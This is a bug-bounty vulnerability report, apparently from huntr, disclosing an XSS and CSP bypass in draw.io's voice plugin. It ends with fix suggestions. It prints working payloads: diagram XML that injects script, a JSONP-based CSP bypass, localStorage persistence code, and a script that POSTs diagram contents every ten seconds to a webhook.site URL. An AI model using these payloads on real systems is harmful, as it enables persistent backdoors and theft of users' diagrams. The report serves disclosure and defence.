Lucene search

K
huntrKevin-mizu4C1C5DB5-210F-4D7E-8380-B95F88FDB78D
HistoryJul 17, 2023 - 9:18 p.m.

XSS with CSP bypass leads to diagrams backdoor

2023-07-1721:18:02
kevin-mizu
www.huntr.dev
34
xss
csp bypass
diagrams backdoor

EPSS

0.001

Percentile

30.6%

๐Ÿ”’๏ธ Requirements

The user must go on a link and remove a square.
(In the following section, Iโ€™ll give PoCs only for chromium based browsers)

ย 

๐Ÿ“ Description

๐Ÿ“ฆ Load plugins by default

Thanks to the ?p= parameter, it is possible to enforce the user to load built-in plugins without warning for a specific diagram.

  • https://github.com/jgraph/drawio/blob/84910e56e17af48188d13a1aa3b020c672b2c777/src/main/webapp/js/diagramly/App.js#L813
if (urlParams['plugins'] != '0' && urlParams['offline'] != '1') {
    // ...
    var temp = urlParams['p'];
    App.initPluginCallback();

    if (temp != null)
    {
        // Mapping from key to URL in App.plugins
        App.loadPlugins(temp.split(';'));
    }
    // ...
}

In addition, using # serialized, we can control the diagram which will be rendered on app.diagrams.net. For example: https://app.diagrams.net/?p=voice#RjZNNb4MwDIZ%2FDcdJfHTTdhz0a1KnTu2h0m4RcSFbwCgNhfbXzwynlFWVdiJ%2B7NjOa%2BNFSdEujKjyd5SgvdCXrRdNvTAMIz%2BkT0dOPQmCR78nmVGS2QC26gwMXVitJBxGgRZRW1WNYYplCakdMWEMNuOwPepx1UpkcAO2qdC3dKekzXv67F7R8SWoLHeVA589hXDBDA65kNhcoWjmRYlBtP2paBPQnXpOl%2F7e%2FI730piB0v7nwstbtYw%2F5uvN1%2B68%2BJw2dRLuHjjLUeiaH7ycrVZrQrv1ZjXlzu3JyWGhpWJxbgtNIKDjwRr8hgQ1GiIllhQZ75XWf5DQKivJTKldIB4fwVhFQr%2Byo1BSdmXiJlcWtpVIu5oN7RUxg3UpoXuJTxY3TQmgvatGcNGYthOwAGtOFMIXJm4svJiTJ7abYcoO5VcDjpgJ3qvsknmQng6svjOHKf%2F6rn6WaPYD

This will be used later in the exploitation.

ย 

๐Ÿงน Not sanitized HTML injection

In the voice.js plugin, there is an App.say method which is used to print the current user action on the top of the screen. The message and params arguments of the method are directly passed into an innerHTML sink:

  • https://github.com/jgraph/drawio/blob/84910e56e17af48188d13a1aa3b020c672b2c777/src/main/webapp/plugins/voice.js#L614
App.say = function(message, params) {
	var text = mxResources.replacePlaceholders(message, params || []);
    // ...
	var tmp = text;
    // ...
	td.innerHTML = ((speechOutputEnabled) ? '<img src />' : '') + ' ' + tmp;

In addition, when a mxEvent.CELLS_REMOVED event is fired, if the cell content is empty, the getWordForCell function is called. The vulnerability occurs in this specific function:

  • https://github.com/jgraph/drawio/blob/84910e56e17af48188d13a1aa3b020c672b2c777/src/main/webapp/plugins/voice.js#L2077
label = (ignoreLabel) ? null : firstWord(this.getLabel(cell));
// ...
var div = document.createElement('div');
div.innerHTML = label;
label = div.innerText;

In the above part of the code, it takes the label content, insert it in a div innerHTML and retrieve its innerText content. The problem here is that if the label content is HTML encoded, it will be decoded and used in the App.say injection sink.

  • HTML entities abuse to get HTML injection:

html_injection.png

&lt;mxfile host="app.diagrams.net" modified="2023-07-17T16:36:51.099Z" agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" etag="rlDx8e0eFsnqY5jP3sZX" version="21.6.2" type="device"&gt;
  &lt;diagram name="Page-1" id="AXoLfr7_YK2FwFhDrODr"&gt;
    &lt;mxGraphModel dx="443" dy="1162" grid="1" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="850" pageHeight="1100" math="0" shadow="0"&gt;
      &lt;root&gt;
        &lt;mxCell id="0" /&gt;
        &lt;mxCell id="1" parent="0" /&gt;
        &lt;mxCell id="4Wv9dNQUPDvgd-HPhavV-1" style="rounded=0;whiteSpace=wrap;html=1;shape=&lt;title&gt;&lt;img src=x onerror=alert()&gt;&lt;/title&gt;;" parent="1" vertex="1"&gt;
          &lt;mxGeometry x="230" y="390" width="120" height="60" as="geometry" /&gt;
        &lt;/mxCell&gt;
      &lt;/root&gt;
    &lt;/mxGraphModel&gt;
  &lt;/diagram&gt;
&lt;/mxfile&gt;

html_injection.gif

ย 

โญ๏ธ CSP Bypass

The CSP allows as a script-src the domain apis.google.com. This domain as a well known JSONP endpoint which is really restrictive: https://apis.google.com/complete/search?client=chrome&q=aa&callback=alert. To fully bypass the CSP, I used @tarjanqโ€™s research to abused the nginx error page which has no CSP with the fact that document.write allows an array as argument:

  • HTML payload:
&lt;iframe id=x src="/%GG"&gt;&lt;/iframe&gt;
&lt;script src="https://apis.google.com/complete/search?client=chrome&q=&lt;script&gt;alert()&lt;/script&gt;&callback=x.contentDocument.write"&gt;&lt;/script&gt;
&lt;mxfile host="app.diagrams.net" modified="2023-07-17T16:36:51.099Z" agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" etag="rlDx8e0eFsnqY5jP3sZX" version="21.6.2" type="device"&gt;
  &lt;diagram name="Page-1" id="AXoLfr7_YK2FwFhDrODr"&gt;
    &lt;mxGraphModel dx="443" dy="1162" grid="1" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="850" pageHeight="1100" math="0" shadow="0"&gt;
      &lt;root&gt;
        &lt;mxCell id="0" /&gt;
        &lt;mxCell id="1" parent="0" /&gt;
        &lt;mxCell id="4Wv9dNQUPDvgd-HPhavV-1" style="rounded=0;whiteSpace=wrap;html=1;shape=&lt;title&gt;&lt;iframe srcdoc=&quot;&lt;iframe id=x src=&#39;/%GG&#39;&gt;&lt;/iframe&gt;&lt;script src=&#39;https://apis%2Egoogle%2Ecom/complete/search?client=chrome&amp;q=&lt;script%20src=%22https://mizu%2Ere/bb/xss%2Ejs%22&gt;&lt;/script&gt;&amp;callback=x%2EcontentDocument%2Ewrite&#39;&gt;&lt;/script&gt; &quot;&gt;&lt;/title&gt;;" parent="1" vertex="1"&gt;
          &lt;mxGeometry x="230" y="390" width="120" height="60" as="geometry" /&gt;
        &lt;/mxCell&gt;
      &lt;/root&gt;
    &lt;/mxGraphModel&gt;
  &lt;/diagram&gt;
&lt;/mxfile&gt;

xss.gif

WARNING: Dot must be URL encoded for this to work!

It must be used in a chromium based browser!

ย 

๐Ÿ’ฅ Proof of Concept

In order to justify the CVSS score of this issue, Iโ€™m providing a PoC which leverages it to backdoor the localStorage and leak every new diagram content. (Disponibility can be impacted using cookie bomb attack in addition of the following PoC)

  • Step 1: Thanks to the XSS, in the localStorage, change the .config-drawio content to enforce the voice plugin to be loaded permanently, and the .configuration content to change the default empty diagram content. (Online poc to trigger this on your chromium browser)
localStorage.setItem(".drawio-config", '{"language":"","configVersion":null,"customFonts":[],"libraries":"general;uml;er;bpmn;flowchart;basic;arrows2","customLibraries":["L.scratchpad"],"plugins":["plugins/voice.js"],"recentColors":[],"formatWidth":"240","createTarget":false,"pageFormat":{"x":0,"y":0,"width":850,"height":1100},"search":true,"showStartScreen":true,"gridColor":"#d0d0d0","darkGridColor":"#424242","autosave":true,"resizeImages":null,"openCounter":11,"version":18,"unit":1,"isRulerOn":false,"ui":""}')
localStorage.setItem(".configuration", '{"emptyDiagramXml":"&lt;mxGraphModel dx=\\"443\\" dy=\\"1162\\" grid=\\"1\\" gridSize=\\"10\\" guides=\\"1\\" tooltips=\\"1\\" connect=\\"1\\" arrows=\\"1\\" fold=\\"1\\" page=\\"1\\" pageScale=\\"1\\" pageWidth=\\"850\\" pageHeight=\\"1100\\" math=\\"0\\" shadow=\\"0\\"&gt;&lt;root&gt;&lt;mxCell id=\\"0\\" /&gt;&lt;mxCell id=\\"1\\" parent=\\"0\\" /&gt;&lt;mxCell id=\\"4Wv9dNQUPDvgd-HPhavV-1\\" style=\\"rounded=0;whiteSpace=wrap;html=1;shape=&lt;title&gt;&lt;iframe srcdoc=&quot;&lt;iframe id=x src=&#39;/%GG&#39;&gt;&lt;/iframe&gt;&lt;script src=&#39;https://apis%2Egoogle%2Ecom/complete/search?client=chrome&amp;q=&lt;script%20src=%22https://mizu%2Ere/PoC/drawio/xss_stager%2Ejs%22&gt;&lt;/script&gt;&amp;callback=x%2EcontentDocument%2Ewrite&#39;&gt;&lt;/script&gt; &quot;&gt;&lt;/title&gt;;\\" parent=\\"1\\" vertex=\\"1\\"&gt;&lt;mxGeometry x=\\"230\\" y=\\"390\\" width=\\"120\\" height=\\"60\\" as=\\"geometry\\" /&gt;&lt;/mxCell&gt;&lt;/root&gt;&lt;/mxGraphModel&gt;"}')

It is important to notice that from the UI, it is impossible to update .config-drawio content, thus the client will need to clear is localStorage manually in order to remove the voice plugin.

  • Step 2: Then, each time a new diagram is created, the default template will be the exploit content. Thus, the client will have a square that he will obviously remove before starting his creation. But, when he will do that, the XSS is used to poison his current context and exfiltrate each change of his diagram.

  • Make the XSS persistante:

var div = document.createElement("div");
div.innerHTML = `
&lt;iframe id=x src="/%GG"&gt;&lt;/iframe&gt;
&lt;iframe srcdoc="&lt;script src=&quot;https://apis.google.com/complete/search?client=chrome&q=&lt;script%20src='https://mizu.re/PoC/drawio/poison.js'&gt;&lt;/script&gt;&callback=top.x.contentDocument.write&quot;&gt;&lt;/script&gt;"&gt;&lt;/iframe&gt;
`;
top.document.body.appendChild(div)

As you can see, the persistent XSS is used to load a script file:

  • Poisonning script:
var exfilt_url = "https://webhook.site/2078733f-1f5b-4fb9-96dd-38d6d5e770ab";
var content = "";

top.EditorUi.prototype.getCurrentFile = function() {
	if(this.currentFile !== null) {
		content = top.mxUtils.getPrettyXml(this.currentFile.ui.editor.getGraphXml());
	}
	return this.currentFile;
};

setInterval(() =&gt; {
	fetch(exfilt_url, { method: "POST", body: content });
}, 10000)

This script will basically send each 10s the content of the current diagram.

backdoor.gif

If you need more justification, about the CVSS score, donโ€™t hesitate!

ย 

๐Ÿ› ๏ธ Fix suggestion

  • Block plugins from being loaded via p=.
  • Sanitize the message (tmp variable) before using it in App.say

EPSS

0.001

Percentile

30.6%

Related for 4C1C5DB5-210F-4D7E-8380-B95F88FDB78D